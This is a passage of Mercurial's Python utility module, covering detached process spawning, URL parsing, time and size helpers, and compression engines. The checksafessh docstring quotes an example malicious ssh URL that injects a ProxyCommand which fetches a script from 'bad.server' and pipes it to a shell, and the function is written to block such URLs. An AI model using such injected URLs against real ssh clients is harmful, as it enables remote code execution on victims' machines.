2739 At this point, the child process PID is returned. If the child
291 At this point, the child process PID is returned. If the child
2740 process fails to start or finishes before condfn() evaluates to
292 process fails to start or finishes before condfn() evaluates to
2741 True, return -1.
293 True, return -1.
2742 """
294 """
2743 # Windows case is easier because the child process is either
295 # Windows case is easier because the child process is either
2744 # successfully starting and validating the condition or exiting
296 # successfully starting and validating the condition or exiting
2745 # on failure. We just poll on its PID. On Unix, if the child
297 # on failure. We just poll on its PID. On Unix, if the child
2746 # process fails to start, it will be left in a zombie state until
298 # process fails to start, it will be left in a zombie state until
2747 # the parent wait on it, which we cannot do since we expect a long
299 # the parent wait on it, which we cannot do since we expect a long
2748 # running process on success. Instead we listen for SIGCHLD telling
300 # running process on success. Instead we listen for SIGCHLD telling
2749 # us our child process terminated.
301 # us our child process terminated.
2750 terminated = set()
302 terminated = set()
2751 def handler(signum, frame):
303 def handler(signum, frame):
2752 terminated.add(os.wait())
304 terminated.add(os.wait())
2753 prevhandler = None
305 prevhandler = None
2754 SIGCHLD = getattr(signal, 'SIGCHLD', None)
306 SIGCHLD = getattr(signal, 'SIGCHLD', None)
2755 if SIGCHLD is not None:
307 if SIGCHLD is not None:
2756 prevhandler = signal.signal(SIGCHLD, handler)
308 prevhandler = signal.signal(SIGCHLD, handler)
2757 try:
309 try:
2758 pid = spawndetached(args)
310 pid = spawndetached(args)
2759 while not condfn():
311 while not condfn():
2760 if ((pid in terminated or not testpid(pid))
312 if ((pid in terminated or not testpid(pid))
2761 and not condfn()):
313 and not condfn()):
2762 return -1
314 return -1
2763 time.sleep(0.1)
315 time.sleep(0.1)
2764 return pid
316 return pid
2765 finally:
317 finally:
2766 if prevhandler is not None:
318 if prevhandler is not None:
2767 signal.signal(signal.SIGCHLD, prevhandler)
319 signal.signal(signal.SIGCHLD, prevhandler)
2768
2769 def interpolate(prefix, mapping, s, fn=None, escape_prefix=False):
2770 """Return the result of interpolating items in the mapping into string s.
2771
2772 prefix is a single character string, or a two character string with
2773 a backslash as the first character if the prefix needs to be escaped in
2774 a regular expression.
2775
2776 fn is an optional function that will be applied to the replacement text
2777 just before replacement.
2778
2779 escape_prefix is an optional flag that allows using doubled prefix for
2780 its escaping.
2781 """
2782 fn = fn or (lambda s: s)
2783 patterns = '|'.join(mapping.keys())
2784 if escape_prefix:
2785 patterns += '|' + prefix
2786 if len(prefix) > 1:
2787 prefix_char = prefix[1:]
2788 else:
2789 prefix_char = prefix
2790 mapping[prefix_char] = prefix_char
2791 r = remod.compile(br'%s(%s)' % (prefix, patterns))
2792 return r.sub(lambda x: fn(mapping[x.group()[1:]]), s)
2793
2794 def getport(port):
2795 """Return the port for a given network service.
2796
2797 If port is an integer, it's returned as is. If it's a string, it's
2798 looked up using socket.getservbyname(). If there's no matching
2799 service, error.Abort is raised.
2800 """
2801 try:
2802 return int(port)
2803 except ValueError:
2804 pass
2805
2806 try:
2807 return socket.getservbyname(pycompat.sysstr(port))
2808 except socket.error:
2809 raise error.Abort(_("no port number associated with service '%s'")
2810 % port)
2811
2812 class url(object):
2813 r"""Reliable URL parser.
2814
2815 This parses URLs and provides attributes for the following
2816 components:
2817
2818 <scheme>://<user>:<passwd>@<host>:<port>/<path>?<query>#<fragment>
2819
2820 Missing components are set to None. The only exception is
2821 fragment, which is set to '' if present but empty.
2822
2823 If parsefragment is False, fragment is included in query. If
2824 parsequery is False, query is included in path. If both are
2825 False, both fragment and query are included in path.
2826
2827 See http://www.ietf.org/rfc/rfc2396.txt for more information.
2828
2829 Note that for backward compatibility reasons, bundle URLs do not
2830 take host names. That means 'bundle://../' has a path of '../'.
2831
2832 Examples:
2833
2834 >>> url(b'http://www.ietf.org/rfc/rfc2396.txt')
2835 <url scheme: 'http', host: 'www.ietf.org', path: 'rfc/rfc2396.txt'>
2836 >>> url(b'ssh://[::1]:2200//home/joe/repo')
2837 <url scheme: 'ssh', host: '[::1]', port: '2200', path: '/home/joe/repo'>
2838 >>> url(b'file:///home/joe/repo')
2839 <url scheme: 'file', path: '/home/joe/repo'>
2840 >>> url(b'file:///c:/temp/foo/')
2841 <url scheme: 'file', path: 'c:/temp/foo/'>
2842 >>> url(b'bundle:foo')
2843 <url scheme: 'bundle', path: 'foo'>
2844 >>> url(b'bundle://../foo')
2845 <url scheme: 'bundle', path: '../foo'>
2846 >>> url(br'c:\foo\bar')
2847 <url path: 'c:\\foo\\bar'>
2848 >>> url(br'\\blah\blah\blah')
2849 <url path: '\\\\blah\\blah\\blah'>
2850 >>> url(br'\\blah\blah\blah#baz')
2851 <url path: '\\\\blah\\blah\\blah', fragment: 'baz'>
2852 >>> url(br'file:///C:\users\me')
2853 <url scheme: 'file', path: 'C:\\users\\me'>
2854
2855 Authentication credentials:
2856
2857 >>> url(b'ssh://joe:xyz@x/repo')
2858 <url scheme: 'ssh', user: 'joe', passwd: 'xyz', host: 'x', path: 'repo'>
2859 >>> url(b'ssh://joe@x/repo')
2860 <url scheme: 'ssh', user: 'joe', host: 'x', path: 'repo'>
2861
2862 Query strings and fragments:
2863
2864 >>> url(b'http://host/a?b#c')
2865 <url scheme: 'http', host: 'host', path: 'a', query: 'b', fragment: 'c'>
2866 >>> url(b'http://host/a?b#c', parsequery=False, parsefragment=False)
2867 <url scheme: 'http', host: 'host', path: 'a?b#c'>
2868
2869 Empty path:
2870
2871 >>> url(b'')
2872 <url path: ''>
2873 >>> url(b'#a')
2874 <url path: '', fragment: 'a'>
2875 >>> url(b'http://host/')
2876 <url scheme: 'http', host: 'host', path: ''>
2877 >>> url(b'http://host/#a')
2878 <url scheme: 'http', host: 'host', path: '', fragment: 'a'>
2879
2880 Only scheme:
2881
2882 >>> url(b'http:')
2883 <url scheme: 'http'>
2884 """
2885
2886 _safechars = "!~*'()+"
2887 _safepchars = "/!~*'()+:\\"
2888 _matchscheme = remod.compile('^[a-zA-Z0-9+.\\-]+:').match
2889
2890 def __init__(self, path, parsequery=True, parsefragment=True):
2891 # We slowly chomp away at path until we have only the path left
2892 self.scheme = self.user = self.passwd = self.host = None
2893 self.port = self.path = self.query = self.fragment = None
2894 self._localpath = True
2895 self._hostport = ''
2896 self._origpath = path
2897
2898 if parsefragment and '#' in path:
2899 path, self.fragment = path.split('#', 1)
2900
2901 # special case for Windows drive letters and UNC paths
2902 if hasdriveletter(path) or path.startswith('\\\\'):
2903 self.path = path
2904 return
2905
2906 # For compatibility reasons, we can't handle bundle paths as
2907 # normal URLS
2908 if path.startswith('bundle:'):
2909 self.scheme = 'bundle'
2910 path = path[7:]
2911 if path.startswith('//'):
2912 path = path[2:]
2913 self.path = path
2914 return
2915
2916 if self._matchscheme(path):
2917 parts = path.split(':', 1)
2918 if parts[0]:
2919 self.scheme, path = parts
2920 self._localpath = False
2921
2922 if not path:
2923 path = None
2924 if self._localpath:
2925 self.path = ''
2926 return
2927 else:
2928 if self._localpath:
2929 self.path = path
2930 return
2931
2932 if parsequery and '?' in path:
2933 path, self.query = path.split('?', 1)
2934 if not path:
2935 path = None
2936 if not self.query:
2937 self.query = None
2938
2939 # // is required to specify a host/authority
2940 if path and path.startswith('//'):
2941 parts = path[2:].split('/', 1)
2942 if len(parts) > 1:
2943 self.host, path = parts
2944 else:
2945 self.host = parts[0]
2946 path = None
2947 if not self.host:
2948 self.host = None
2949 # path of file:///d is /d
2950 # path of file:///d:/ is d:/, not /d:/
2951 if path and not hasdriveletter(path):
2952 path = '/' + path
2953
2954 if self.host and '@' in self.host:
2955 self.user, self.host = self.host.rsplit('@', 1)
2956 if ':' in self.user:
2957 self.user, self.passwd = self.user.split(':', 1)
2958 if not self.host:
2959 self.host = None
2960
2961 # Don't split on colons in IPv6 addresses without ports
2962 if (self.host and ':' in self.host and
2963 not (self.host.startswith('[') and self.host.endswith(']'))):
2964 self._hostport = self.host
2965 self.host, self.port = self.host.rsplit(':', 1)
2966 if not self.host:
2967 self.host = None
2968
2969 if (self.host and self.scheme == 'file' and
2970 self.host not in ('localhost', '127.0.0.1', '[::1]')):
2971 raise error.Abort(_('file:// URLs can only refer to localhost'))
2972
2973 self.path = path
2974
2975 # leave the query string escaped
2976 for a in ('user', 'passwd', 'host', 'port',
2977 'path', 'fragment'):
2978 v = getattr(self, a)
2979 if v is not None:
2980 setattr(self, a, urlreq.unquote(v))
2981
2982 @encoding.strmethod
2983 def __repr__(self):
2984 attrs = []
2985 for a in ('scheme', 'user', 'passwd', 'host', 'port', 'path',
2986 'query', 'fragment'):
2987 v = getattr(self, a)
2988 if v is not None:
2989 attrs.append('%s: %r' % (a, v))
2990 return '<url %s>' % ', '.join(attrs)
2991
2992 def __bytes__(self):
2993 r"""Join the URL's components back into a URL string.
2994
2995 Examples:
2996
2997 >>> bytes(url(b'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'))
2998 'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'
2999 >>> bytes(url(b'http://user:pw@host:80/?foo=bar&baz=42'))
3000 'http://user:pw@host:80/?foo=bar&baz=42'
3001 >>> bytes(url(b'http://user:pw@host:80/?foo=bar%3dbaz'))
3002 'http://user:pw@host:80/?foo=bar%3dbaz'
3003 >>> bytes(url(b'ssh://user:pw@[::1]:2200//home/joe#'))
3004 'ssh://user:pw@[::1]:2200//home/joe#'
3005 >>> bytes(url(b'http://localhost:80//'))
3006 'http://localhost:80//'
3007 >>> bytes(url(b'http://localhost:80/'))
3008 'http://localhost:80/'
3009 >>> bytes(url(b'http://localhost:80'))
3010 'http://localhost:80/'
3011 >>> bytes(url(b'bundle:foo'))
3012 'bundle:foo'
3013 >>> bytes(url(b'bundle://../foo'))
3014 'bundle:../foo'
3015 >>> bytes(url(b'path'))
3016 'path'
3017 >>> bytes(url(b'file:///tmp/foo/bar'))
3018 'file:///tmp/foo/bar'
3019 >>> bytes(url(b'file:///c:/tmp/foo/bar'))
3020 'file:///c:/tmp/foo/bar'
3021 >>> print(url(br'bundle:foo\bar'))
3022 bundle:foo\bar
3023 >>> print(url(br'file:///D:\data\hg'))
3024 file:///D:\data\hg
3025 """
3026 if self._localpath:
3027 s = self.path
3028 if self.scheme == 'bundle':
3029 s = 'bundle:' + s
3030 if self.fragment:
3031 s += '#' + self.fragment
3032 return s
3033
3034 s = self.scheme + ':'
3035 if self.user or self.passwd or self.host:
3036 s += '//'
3037 elif self.scheme and (not self.path or self.path.startswith('/')
3038 or hasdriveletter(self.path)):
3039 s += '//'
3040 if hasdriveletter(self.path):
3041 s += '/'
3042 if self.user:
3043 s += urlreq.quote(self.user, safe=self._safechars)
3044 if self.passwd:
3045 s += ':' + urlreq.quote(self.passwd, safe=self._safechars)
3046 if self.user or self.passwd:
3047 s += '@'
3048 if self.host:
3049 if not (self.host.startswith('[') and self.host.endswith(']')):
3050 s += urlreq.quote(self.host)
3051 else:
3052 s += self.host
3053 if self.port:
3054 s += ':' + urlreq.quote(self.port)
3055 if self.host:
3056 s += '/'
3057 if self.path:
3058 # TODO: similar to the query string, we should not unescape the
3059 # path when we store it, the path might contain '%2f' = '/',
3060 # which we should *not* escape.
3061 s += urlreq.quote(self.path, safe=self._safepchars)
3062 if self.query:
3063 # we store the query in escaped form.
3064 s += '?' + self.query
3065 if self.fragment is not None:
3066 s += '#' + urlreq.quote(self.fragment, safe=self._safepchars)
3067 return s
3068
3069 __str__ = encoding.strmethod(__bytes__)
3070
3071 def authinfo(self):
3072 user, passwd = self.user, self.passwd
3073 try:
3074 self.user, self.passwd = None, None
3075 s = bytes(self)
3076 finally:
3077 self.user, self.passwd = user, passwd
3078 if not self.user:
3079 return (s, None)
3080 # authinfo[1] is passed to urllib2 password manager, and its
3081 # URIs must not contain credentials. The host is passed in the
3082 # URIs list because Python < 2.4.3 uses only that to search for
3083 # a password.
3084 return (s, (None, (s, self.host),
3085 self.user, self.passwd or ''))
3086
3087 def isabs(self):
3088 if self.scheme and self.scheme != 'file':
3089 return True # remote URL
3090 if hasdriveletter(self.path):
3091 return True # absolute for our purposes - can't be joined()
3092 if self.path.startswith(br'\\'):
3093 return True # Windows UNC path
3094 if self.path.startswith('/'):
3095 return True # POSIX-style
3096 return False
3097
3098 def localpath(self):
3099 if self.scheme == 'file' or self.scheme == 'bundle':
3100 path = self.path or '/'
3101 # For Windows, we need to promote hosts containing drive
3102 # letters to paths with drive letters.
3103 if hasdriveletter(self._hostport):
3104 path = self._hostport + '/' + self.path
3105 elif (self.host is not None and self.path
3106 and not hasdriveletter(path)):
3107 path = '/' + path
3108 return path
3109 return self._origpath
3110
3111 def islocal(self):
3112 '''whether localpath will return something that posixfile can open'''
3113 return (not self.scheme or self.scheme == 'file'
3114 or self.scheme == 'bundle')
3115
3116 def hasscheme(path):
3117 return bool(url(path).scheme)
3118
3119 def hasdriveletter(path):
3120 return path and path[1:2] == ':' and path[0:1].isalpha()
3121
3122 def urllocalpath(path):
3123 return url(path, parsequery=False, parsefragment=False).localpath()
3124
3125 def checksafessh(path):
3126 """check if a path / url is a potentially unsafe ssh exploit (SEC)
3127
3128 This is a sanity check for ssh urls. ssh will parse the first item as
3129 an option; e.g. ssh://-oProxyCommand=curl${IFS}bad.server|sh/path.
3130 Let's prevent these potentially exploited urls entirely and warn the
3131 user.
3132
3133 Raises an error.Abort when the url is unsafe.
3134 """
3135 path = urlreq.unquote(path)
3136 if path.startswith('ssh://-') or path.startswith('svn+ssh://-'):
3137 raise error.Abort(_('potentially unsafe url: %r') %
3138 (pycompat.bytestr(path),))
3139
3140 def hidepassword(u):
3141 '''hide user credential in a url string'''
3142 u = url(u)
3143 if u.passwd:
3144 u.passwd = '***'
3145 return bytes(u)
3146
3147 def removeauth(u):
3148 '''remove all authentication information from a url string'''
3149 u = url(u)
3150 u.user = u.passwd = None
3151 return str(u)
3152
3153 timecount = unitcountfn(
3154 (1, 1e3, _('%.0f s')),
3155 (100, 1, _('%.1f s')),
3156 (10, 1, _('%.2f s')),
3157 (1, 1, _('%.3f s')),
3158 (100, 0.001, _('%.1f ms')),
3159 (10, 0.001, _('%.2f ms')),
3160 (1, 0.001, _('%.3f ms')),
3161 (100, 0.000001, _('%.1f us')),
3162 (10, 0.000001, _('%.2f us')),
3163 (1, 0.000001, _('%.3f us')),
3164 (100, 0.000000001, _('%.1f ns')),
3165 (10, 0.000000001, _('%.2f ns')),
3166 (1, 0.000000001, _('%.3f ns')),
3167 )
3168
3169 _timenesting = [0]
3170
3171 def timed(func):
3172 '''Report the execution time of a function call to stderr.
3173
3174 During development, use as a decorator when you need to measure
3175 the cost of a function, e.g. as follows:
3176
3177 @util.timed
3178 def foo(a, b, c):
3179 pass
3180 '''
3181
3182 def wrapper(*args, **kwargs):
3183 start = timer()
3184 indent = 2
3185 _timenesting[0] += indent
3186 try:
3187 return func(*args, **kwargs)
3188 finally:
3189 elapsed = timer() - start
3190 _timenesting[0] -= indent
3191 stderr.write('%s%s: %s\n' %
3192 (' ' * _timenesting[0], func.__name__,
3193 timecount(elapsed)))
3194 return wrapper
3195
3196 _sizeunits = (('m', 2**20), ('k', 2**10), ('g', 2**30),
3197 ('kb', 2**10), ('mb', 2**20), ('gb', 2**30), ('b', 1))
3198
3199 def sizetoint(s):
3200 '''Convert a space specifier to a byte count.
3201
3202 >>> sizetoint(b'30')
3203 30
3204 >>> sizetoint(b'2.2kb')
3205 2252
3206 >>> sizetoint(b'6M')
3207 6291456
3208 '''
3209 t = s.strip().lower()
3210 try:
3211 for k, u in _sizeunits:
3212 if t.endswith(k):
3213 return int(float(t[:-len(k)]) * u)
3214 return int(t)
3215 except ValueError:
3216 raise error.ParseError(_("couldn't parse size: %s") % s)
3217
3218 class hooks(object):
3219 '''A collection of hook functions that can be used to extend a
3220 function's behavior. Hooks are called in lexicographic order,
3221 based on the names of their sources.'''
3222
3223 def __init__(self):
3224 self._hooks = []
3225
3226 def add(self, source, hook):
3227 self._hooks.append((source, hook))
3228
3229 def __call__(self, *args):
3230 self._hooks.sort(key=lambda x: x[0])
3231 results = []
3232 for source, hook in self._hooks:
3233 results.append(hook(*args))
3234 return results
3235
3236 def getstackframes(skip=0, line=' %-*s in %s\n', fileline='%s:%d', depth=0):
3237 '''Yields lines for a nicely formatted stacktrace.
3238 Skips the 'skip' last entries, then return the last 'depth' entries.
3239 Each file+linenumber is formatted according to fileline.
3240 Each line is formatted according to line.
3241 If line is None, it yields:
3242 length of longest filepath+line number,
3243 filepath+linenumber,
3244 function
3245
3246 Not be used in production code but very convenient while developing.
3247 '''
3248 entries = [(fileline % (pycompat.sysbytes(fn), ln), pycompat.sysbytes(func))
3249 for fn, ln, func, _text in traceback.extract_stack()[:-skip - 1]
3250 ][-depth:]
3251 if entries:
3252 fnmax = max(len(entry[0]) for entry in entries)
3253 for fnln, func in entries:
3254 if line is None:
3255 yield (fnmax, fnln, func)
3256 else:
3257 yield line % (fnmax, fnln, func)
3258
3259 def debugstacktrace(msg='stacktrace', skip=0,
3260 f=stderr, otherf=stdout, depth=0):
3261 '''Writes a message to f (stderr) with a nicely formatted stacktrace.
3262 Skips the 'skip' entries closest to the call, then show 'depth' entries.
3263 By default it will flush stdout first.
3264 It can be used everywhere and intentionally does not require an ui object.
3265 Not be used in production code but very convenient while developing.
3266 '''
3267 if otherf:
3268 otherf.flush()
3269 f.write('%s at:\n' % msg.rstrip())
3270 for line in getstackframes(skip + 1, depth=depth):
3271 f.write(line)
3272 f.flush()
3273
3274 class dirs(object):
3275 '''a multiset of directory names from a dirstate or manifest'''
3276
3277 def __init__(self, map, skip=None):
3278 self._dirs = {}
3279 addpath = self.addpath
3280 if safehasattr(map, 'iteritems') and skip is not None:
3281 for f, s in map.iteritems():
3282 if s[0] != skip:
3283 addpath(f)
3284 else:
3285 for f in map:
3286 addpath(f)
3287
3288 def addpath(self, path):
3289 dirs = self._dirs
3290 for base in finddirs(path):
3291 if base in dirs:
3292 dirs[base] += 1
3293 return
3294 dirs[base] = 1
3295
3296 def delpath(self, path):
3297 dirs = self._dirs
3298 for base in finddirs(path):
3299 if dirs[base] > 1:
3300 dirs[base] -= 1
3301 return
3302 del dirs[base]
3303
3304 def __iter__(self):
3305 return iter(self._dirs)
3306
3307 def __contains__(self, d):
3308 return d in self._dirs
3309
3310 if safehasattr(parsers, 'dirs'):
3311 dirs = parsers.dirs
3312
3313 def finddirs(path):
3314 pos = path.rfind('/')
3315 while pos != -1:
3316 yield path[:pos]
3317 pos = path.rfind('/', 0, pos)
3318
3319 # compression code
3320
3321 SERVERROLE = 'server'
3322 CLIENTROLE = 'client'
3323
3324 compewireprotosupport = collections.namedtuple(u'compenginewireprotosupport',
3325 (u'name', u'serverpriority',
3326 u'clientpriority'))
3327
3328 class compressormanager(object):
3329 """Holds registrations of various compression engines.
3330
3331 This class essentially abstracts the differences between compression
3332 engines to allow new compression formats to be added easily, possibly from
3333 extensions.
3334
3335 Compressors are registered against the global instance by calling its
3336 ``register()`` method.
3337 """
3338 def __init__(self):
3339 self._engines = {}
3340 # Bundle spec human name to engine name.
3341 self._bundlenames = {}
3342 # Internal bundle identifier to engine name.
3343 self._bundletypes = {}
3344 # Revlog header to engine name.
3345 self._revlogheaders = {}
3346 # Wire proto identifier to engine name.
3347 self._wiretypes = {}
3348
3349 def __getitem__(self, key):
3350 return self._engines[key]
3351
3352 def __contains__(self, key):
3353 return key in self._engines
3354
3355 def __iter__(self):
3356 return iter(self._engines.keys())
3357
3358 def register(self, engine):
3359 """Register a compression engine with the manager.
3360
3361 The argument must be a ``compressionengine`` instance.
3362 """
3363 if not isinstance(engine, compressionengine):
3364 raise ValueError(_('argument must be a compressionengine'))
3365
3366 name = engine.name()
3367
3368 if name in self._engines:
3369 raise error.Abort(_('compression engine %s already registered') %
3370 name)
3371
3372 bundleinfo = engine.bundletype()
3373 if bundleinfo:
3374 bundlename, bundletype = bundleinfo
3375
3376 if bundlename in self._bundlenames:
3377 raise error.Abort(_('bundle name %s already registered') %
3378 bundlename)
3379 if bundletype in self._bundletypes:
3380 raise error.Abort(_('bundle type %s already registered by %s') %
3381 (bundletype, self._bundletypes[bundletype]))
3382
3383 # No external facing name declared.
3384 if bundlename:
3385 self._bundlenames[bundlename] = name
3386
3387 self._bundletypes[bundletype] = name
3388
3389 wiresupport = engine.wireprotosupport()
3390 if wiresupport:
3391 wiretype = wiresupport.name
3392 if wiretype in self._wiretypes:
3393 raise error.Abort(_('wire protocol compression %s already '
3394 'registered by %s') %
3395 (wiretype, self._wiretypes[wiretype]))
3396
3397 self._wiretypes[wiretype] = name
3398
3399 revlogheader = engine.revlogheader()
3400 if revlogheader and revlogheader in self._revlogheaders:
3401 raise error.Abort(_('revlog header %s already registered by %s') %
3402 (revlogheader, self._revlogheaders[revlogheader]))
3403
3404 if revlogheader:
3405 self._revlogheaders[revlogheader] = name
3406
3407 self._engines[name] = engine
3408
3409 @property
3410 def supportedbundlenames(self):
3411 return set(self._bundlenames.keys())
3412
3413 @property
3414 def supportedbundletypes(self):
3415 return set(self._bundletypes.keys())
3416
3417 def forbundlename(self, bundlename):
3418 """Obtain a compression engine registered to a bundle name.
3419
3420 Will raise KeyError if the bundle type isn't registered.
3421
3422 Will abort if the engine is known but not available.
3423 """
3424 engine = self._engines[self._bundlenames[bundlename]]
3425 if not engine.available():
3426 raise error.Abort(_('compression engine %s could not be loaded') %
3427 engine.name())
3428 return engine
3429
3430 def forbundletype(self, bundletype):
3431 """Obtain a compression engine registered to a bundle type.
3432
3433 Will raise KeyError if the bundle type isn't registered.
3434
3435 Will abort if the engine is known but not available.
3436 """
3437 engine = self._engines[self._bundletypes[bundletype]]
3438 if not engine.available():
3439 raise error.Abort(_('compression engine %s could not be loaded') %
3440 engine.name())
3441 return engine
3442
3443 def supportedwireengines(self, role, onlyavailable=True):
3444 """Obtain compression engines that support the wire protocol.
3445
3446 Returns a list of engines in prioritized order, most desired first.
3447
3448 If ``onlyavailable`` is set, filter out engines that can't be
3449 loaded.
3450 """
3451 assert role in (SERVERROLE, CLIENTROLE)
3452
3453 attr = 'serverpriority' if role == SERVERROLE else 'clientpriority'
3454
3455 engines = [self._engines[e] for e in self._wiretypes.values()]
3456 if onlyavailable:
3457 engines = [e for e in engines if e.available()]
3458
3459 def getkey(e):
3460 # Sort first by priority, highest first. In case of tie, sort
3461 # alphabetically. This is arbitrary, but ensures output is
3462 # stable.
3463 w = e.wireprotosupport()
3464 return -1 * getattr(w, attr), w.name
3465
3466 return list(sorted(engines, key=getkey))
3467
3468 def forwiretype(self, wiretype):
3469 engine = self._engines[self._wiretypes[wiretype]]
3470 if not engine.available():
3471 raise error.Abort(_('compression engine %s could not be loaded') %
3472 engine.name())
3473 return engine
3474
3475 def forrevlogheader(self, header):
3476 """Obtain a compression engine registered to a revlog header.
3477
3478 Will raise KeyError if the revlog header value isn't registered.
3479 """
3480 return self._engines[self._revlogheaders[header]]
3481
3482 compengines = compressormanager()
3483
3484 class compressionengine(object):
3485 """Base class for compression engines.
3486
3487 Compression engines must implement the interface defined by this class.
3488 """
3489 def name(self):
3490 """Returns the name of the compression engine.
3491
3492 This is the key the engine is registered under.
3493
3494 This method must be implemented.
3495 """
3496 raise NotImplementedError()
3497
3498 def available(self):
3499 """Whether the compression engine is available.
3500
3501 The intent of this method is to allow optional compression engines
3502 that may not be available in all installations (such as engines relying
3503 on C extensions that may not be present).
3504 """
3505 return True
3506
3507 def bundletype(self):
3508 """Describes bundle identifiers for this engine.
3509
3510 If this compression engine isn't supported for bundles, returns None.
3511
3512 If this engine can be used for bundles, returns a 2-tuple of strings of
3513 the user-facing "bundle spec" compression name and an internal
3514 identifier used to denote the compression format within bundles. To
3515 exclude the name from external usage, set the first element to ``None``.
3516
3517 If bundle compression is supported, the class must also implement
3518 ``compressstream`` and `decompressorreader``.
3519
3520 The docstring of this method is used in the help system to tell users
3521 about this engine.
3522 """
3523 return None
3524
3525 def wireprotosupport(self):
3526 """Declare support for this compression format on the wire protocol.
3527
3528 If this compression engine isn't supported for compressing wire
3529 protocol payloads, returns None.
3530
3531 Otherwise, returns ``compenginewireprotosupport`` with the following
3532 fields:
3533
3534 * String format identifier
3535 * Integer priority for the server
3536 * Integer priority for the client
3537
3538 The integer priorities are used to order the advertisement of format
3539 support by server and client. The highest integer is advertised
3540 first. Integers with non-positive values aren't advertised.
3541
3542 The priority values are somewhat arbitrary and only used for default
3543 ordering. The relative order can be changed via config options.
3544
3545 If wire protocol compression is supported, the class must also implement
3546 ``compressstream`` and ``decompressorreader``.
3547 """
3548 return None
3549
3550 def revlogheader(self):
3551 """Header added to revlog chunks that identifies this engine.
3552
3553 If this engine can be used to compress revlogs, this method should
3554 return the bytes used to identify chunks compressed with this engine.
3555 Else, the method should return ``None`` to indicate it does not
3556 participate in revlog compression.
3557 """
3558 return None
3559
3560 def compressstream(self, it, opts=None):
3561 """Compress an iterator of chunks.
3562
3563 The method receives an iterator (ideally a generator) of chunks of
3564 bytes to be compressed. It returns an iterator (ideally a generator)
3565 of bytes of chunks representing the compressed output.
3566
3567 Optionally accepts an argument defining how to perform compression.
3568 Each engine treats this argument differently.
3569 """
3570 raise NotImplementedError()
3571
3572 def decompressorreader(self, fh):
3573 """Perform decompression on a file object.
3574
3575 Argument is an object with a ``read(size)`` method that returns
3576 compressed data. Return value is an object with a ``read(size)`` that
3577 returns uncompressed data.
3578 """
3579 raise NotImplementedError()
3580
3581 def revlogcompressor(self, opts=None):
3582 """Obtain an object that can be used to compress revlog entries.
3583
3584 The object has a ``compress(data)`` method that compresses binary
3585 data. This method returns compressed binary data or ``None`` if
3586 the data could not be compressed (too small, not compressible, etc).
3587 The returned data should have a header uniquely identifying this
3588 compression format so decompression can be routed to this engine.
3589 This header should be identified by the ``revlogheader()`` return
3590 value.
3591
3592 The object has a ``decompress(data)`` method that decompresses
3593 data. The method will only be called if ``data`` begins with
3594 ``revlogheader()``. The method should return the raw, uncompressed
3595 data or raise a ``RevlogError``.
3596
3597 The object is reusable but is not thread safe.
3598 """
3599 raise NotImplementedError()
3600
3601 class _zlibengine(compressionengine):
3602 def name(self):
3603 return 'zlib'
3604
3605 def bundletype(self):
3606 """zlib compression using the DEFLATE algorithm.
3607
3608 All Mercurial clients should support this format. The compression
3609 algorithm strikes a reasonable balance between compression ratio
3610 and size.
3611 """
3612 return 'gzip', 'GZ'
3613
3614 def wireprotosupport(self):
3615 return compewireprotosupport('zlib', 20, 20)
3616
3617 def revlogheader(self):
3618 return 'x'
3619
3620 def compressstream(self, it, opts=None):
3621 opts = opts or {}
3622
3623 z = zlib.compressobj(opts.get('level', -1))
3624 for chunk in it:
3625 data = z.compress(chunk)
3626 # Not all calls to compress emit data. It is cheaper to inspect
3627 # here than to feed empty chunks through generator.
3628 if data:
3629 yield data
3630
3631 yield z.flush()
3632
3633 def decompressorreader(self, fh):
3634 def gen():
3635 d = zlib.decompressobj()
3636 for chunk in filechunkiter(fh):
3637 while chunk:
3638 # Limit output size to limit memory.
3639 yield d.decompress(chunk, 2 ** 18)
3640 chunk = d.unconsumed_tail
3641
3642 return chunkbuffer(gen())
3643
3644 class zlibrevlogcompressor(object):
3645 def compress(self, data):
3646 insize = len(data)
3647 # Caller handles empty input case.
3648 assert insize > 0
3649
3650 if insize < 44:
3651 return None
3652
3653 elif insize <= 1000000:
3654 compressed = zlib.compress(data)
3655 if len(compressed) < insize:
3656 return compressed
3657 return None
3658
3659 # zlib makes an internal copy of the input buffer, doubling
3660 # memory usage for large inputs. So do streaming compression
3661 # on large inputs.
3662 else:
3663 z = zlib.compressobj()
3664 parts = []
3665 pos = 0
3666 while pos < insize:
3667 pos2 = pos + 2**20
3668 parts.append(z.compress(data[pos:pos2]))
3669 pos = pos2
3670 parts.append(z.flush())
3671
3672 if sum(map(len, parts)) < insize:
3673 return ''.join(parts)
3674 return None
3675
3676 def decompress(self, data):
3677 try:
3678 return zlib.decompress(data)
3679 except zlib.error as e:
3680 raise error.RevlogError(_('revlog decompress error: %s') %
3681 stringutil.forcebytestr(e))
3682
3683 def revlogcompressor(self, opts=None):
3684 return self.zlibrevlogcompressor()
3685
3686 compengines.register(_zlibengine())
3687
3688 class _bz2engine(compressionengine):
3689 def name(self):
3690 return 'bz2'
3691
3692 def bundletype(self):
3693 """An algorithm that produces smaller bundles than ``gzip``.
3694
3695 All Mercurial clients should support this format.
3696
3697 This engine will likely produce smaller bundles than ``gzip`` but
3698 will be significantly slower, both during compression and
3699 decompression.
3700
3701 If available, the ``zstd`` engine can yield similar or better
3702 compression at much higher speeds.
3703 """
3704 return 'bzip2', 'BZ'
3705
3706 # We declare a protocol name but don't advertise by default because
3707 # it is slow.
3708 def wireprotosupport(self):
3709 return compewireprotosupport('bzip2', 0, 0)
3710
3711 def compressstream(self, it, opts=None):
3712 opts = opts or {}
3713 z = bz2.BZ2Compressor(opts.get('level', 9))
3714 for chunk in it:
3715 data = z.compress(chunk)
3716 if data:
3717 yield data
3718
3719 yield z.flush()
3720
3721 def decompressorreader(self, fh):
3722 def gen():
3723 d = bz2.BZ2Decompressor()
3724 for chunk in filechunkiter(fh):
3725 yield d.decompress(chunk)
3726
3727 return chunkbuffer(gen())
3728
3729 compengines.register(_bz2engine())
3730
3731 class _truncatedbz2engine(compressionengine):
3732 def name(self):
3733 return 'bz2truncated'
3734
3735 def bundletype(self):
3736 return None, '_truncatedBZ'
3737
3738 # We don't implement compressstream because it is hackily handled elsewhere.
3739
3740 def decompressorreader(self, fh):
3741 def gen():
3742 # The input stream doesn't have the 'BZ' header. So add it back.
3743 d = bz2.BZ2Decompressor()
3744 d.decompress('BZ')
3745 for chunk in filechunkiter(fh):
3746 yield d.decompress(chunk)
3747
3748 return chunkbuffer(gen())
3749
3750 compengines.register(_truncatedbz2engine())
3751
3752 class _noopengine(compressionengine):
3753 def name(self):
3754 return 'none'
3755
3756 def bundletype(self):
